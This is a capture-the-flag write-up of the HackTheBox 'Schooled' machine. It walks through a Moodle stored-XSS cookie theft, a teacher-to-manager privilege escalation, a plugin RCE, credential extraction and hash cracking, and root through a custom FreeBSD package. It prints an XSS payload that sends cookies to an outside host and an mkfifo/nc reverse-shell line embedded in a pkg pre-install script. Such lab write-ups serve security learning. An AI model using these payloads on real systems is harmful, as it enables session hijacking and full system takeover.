___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Exploiting Moodle vulnerabilities and FreeBSD custom pkg (Hackthebox - Schooled Writeup)

Nmap Scan

Enumeration

Subdomain Enumeration

We enumerate for possible available subdomains using ffuf

ffuf -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fw 5338

Found a subdomain moodle. So we add moodle.schooled.htb to our /etc/hosts file. Going to the site, we find a moodle site. We create a student account with the mail name@student.schooled.htb and login.

We see that we can only enroll ourselves in the Maths course. Enrolling ourselves, we see an anouncement where the teacher Manuel Phillips says that in order to be in the course, we must set our MoodleNet profile, or we would not be allowed in. We can set our moodlenet profile from our Preferences > Edit Profile options.

Stored XSS

Now, looking around for moodle vulnerabilities, we find that the moodlenet profile field is vulnerable to stored XSS. This vulnerability is assigned CVE-2020-25627. It has been patched in this on the moodle forums. This vulnerability occurs due to the fact that the input is not sanitized. It has been patched as follows:

--- a/admin/tool/moodlenet/classes/profile_manager.php
+++ b/admin/tool/moodlenet/classes/profile_manager.php
@@ -46,7 +46,7 @@ class profile_manager {
             $user = \core_user::get_user($userid, 'moodlenetprofile');
             try {
                 $userprofile = $user->moodlenetprofile ? $user->moodlenetprofile : '';
-                return (isset($user)) ? new moodlenet_user_profile($userprofile, $userid) : null;
+                return (isset($user)) ? new moodlenet_user_profile(s($userprofile), $userid) : null;
             } catch (\moodle_exception $e) {
                 // If an exception is thrown, means there isn't a valid profile set. No need to log exception.
                 return null;

Stored XSS allows the input to be displayed as HTML whenever the page is loaded. So, we can put in a malicious javascript code inside and whoever loads the page would run that script inside his browser session, and we can steal his cookies and sessions and what not. We use this attack to steal the login session of the teacher, since he would check our profile and thus load our profile page, and run the script in his browser. This is called Session Hijack.

If we check our own cookies for the moodle site, we can find a cookie named session. So we can use this session hijack attack.

Session Hijack

So, we write the following script and insert it into the moodlenet field and save our profile.

<script>new Image().src="http://10.10.16.1/bogus.php?output="+document.cookie;</script>

What happens here is that, we put a new image element in the html using the script, and we use the image source to a bogus php file on our local machine. The php takes the var output which is the document.cookie, the cookie that stores the login session of the teacher. As the teacher’s browser makes the HTTP request for the image along with the cookie, we can intercept the request by opening a netcat listener on the HTTP port 80 on our local machine and keep waiting.

nc -lnvp 80

After some time, we get a hit with the session cookie of the teacher.

Now, we can edit our own session cookie with the obtained value for the teacher and get logged in as the teacher manuesl_phillips.

Moodle privesc to manager

From the main website, in the teachers section, we find that Lianne Carter is the manager. The manager has administrative capabilities, and we check if we can in any way privesc to that role. Looking around for a long time, and finally with the help of a nudge, found a vulnerability that allows privesc from teacher to manager here. This has been assigned the CVE-2020-14321. This vulnerability allows Course enrolments to allow privilege escalation from teacher role into manager role. The PoC video can be found here.

This vulnerability has been pathced in this post on moodle. This vulnerability happens due to the fact that moodle did not check if the logged in user has the capability to assign certain roles to other users. Moreover, it also did not check if the user can be assigned certain roles in the given context in moodle, for example, in the course. A context is combined with role permissions to define a User’s capabilities on any page in Moodle.

So, adding a manager as a new student to the course, we can intercept the request and give ourselves, the teacher role_id=1 which is the manager role. Then as a manager, we can login as other managers, the main manager, who has capability to edit the moodle. The patch applied to fix this:

--- a/enrol/manual/ajax.php
+++ b/enrol/manual/ajax.php
@@ -100,6 +100,13 @@ switch ($action) {
 
         if (empty($roleid)) {
             $roleid = null;
+        } else {
+            if (!has_capability('moodle/role:assign', $context)) {
+                throw new enrol_ajax_exception('assignnotpermitted');
+            }
+            if (!array_key_exists($roleid, get_assignable_roles($context, ROLENAME_ALIAS, false))) {
+                throw new enrol_ajax_exception('invalidrole');
+            }
         }

Following the PoC video, we assign our teacher to manager role, and then we login as the manager from the teacher session, and enable installation of plugins, using the rce.zip file as provided by the PoC author, we can get remote code execution. We needed to change the version info in the zip file. We unzip the zip file and find a version.php file. Trying to install the rce.zip plugin as is gives us the version number of the moodle on the server 20200615, we put this version number in the file and then install it to make it work.

Reverse Shell - www-data

Using different reverse shell oneliners faile using this rce. So , we upload our own php reverse shell from here. We put the php reverse shell in place of block_rce.php and rename the plugin to rev. Now we open a nc listerner and install the plugin and go to the url as in the PoC, to get a reverse shell.

Privilege Escalation - User

We find 2 users on the box 1. jamie 2. steve

Enumerating the box, we were able to find mysql database creds. Reading the man docs for apache on freebsd, we see that the document root for apache is /usr/local/www/data. Going around, we find the site and the moodle data. In the config file config.php of moodle, we find mysql database user and password.

cat /usr/local/www/apache24/data/moodle/config.php
$CFG->dbname    = 'moodle'
$CFG->dbuser    = 'moodle'
$CFG->dbpass    = 'PlaybookMaster2020'

So we have a database moodle.db, by the user moodle and got the password for the user. Using the obtained creds, we login and view the database using the following commands

the command mysql won’t work because it is not in PATH. If we echo the PATH, we see that /usr/local/bin is not included. The binary of mysql is located in the /usr/local/bin. So, we have to use the absolute path

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020

use moodle;
show tables;

From the tables, we find the table named mdl_user which seems interesting. We view the table using

select * from mdl_user;

We see that the tables spits out many moodle users and their passowrd hashes. We find our user jamie among them and obtain the password hash.

We store the hash in a file named jamie_hash and use john to crack the hash

john jamie_hash -w=/usr/share/wordlists/rockyou.txt

And after some time, get a hit. Obtained creds:

jamie:!QAZ2wsx

Now we can ssh into the machine as user jamie.

Privilege Escalation - root

Logging in as jamie, the first thing we do is check the sudo capabilities of the user using sudo -l and find the following.

So we can update the pkg repos and install any package as root. This means we can try to create a malicious package that we can install and get it executed by root somehow to obtoain root privileges. About creating custom pkgs, here is an awesome blog on it.

Creating a custom pkg on FreeBSD

Reading the docs for pkg from github, we get a template for the +MANIFEST file which contains all the information of the package. We can include different scripts here that gets executed such as:

We can use the pre-install to execute a reverse shell script that will then get executed as root as we install the package as sudo and thus we can get root. The pkg create command tars the directory with the +MANIFEST file and zips it using the xz format by default. We can then install the package using the pkg install command as sudo.

Using the template, and using only what’s necessary we write the following MANIFEST containing our reverse shell

name: foo
version: 1.0
origin: category/foo
comment: this is foo package
arch: i386
www: http://www.foo.org
maintainer: foo@bar.org
prefix: /usr/local
licenselogic: or
licenses: [MIT, MPL]
desc: <<EOD
  This is the description
  Of foo

  A component of bar
EOD
categories: [bar, plop]
deps: {
}
files: {
}
directories: {
}
scripts: {
  post-install: <<EOD
    #!/bin/sh
    echo post-install
EOD
  pre-install: <<EOD
    #!/bin/sh
    echo pre-install
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.1 4242 >/tmp/f
EOD
}

We keep the MANIFEST file in a directory named foo. And then run the following to create and install the pkg

just pkg install command fails on repo update, so we skip the update using the “–no-repo-update” flag

pkg create -m foo/ -r foo/ -o ./
sudo /usr/sbin/pkg install --no-repo-update foo-1.0.txz

Opening a nc listener on port 4242, after some time, we get a reverse shell back as root.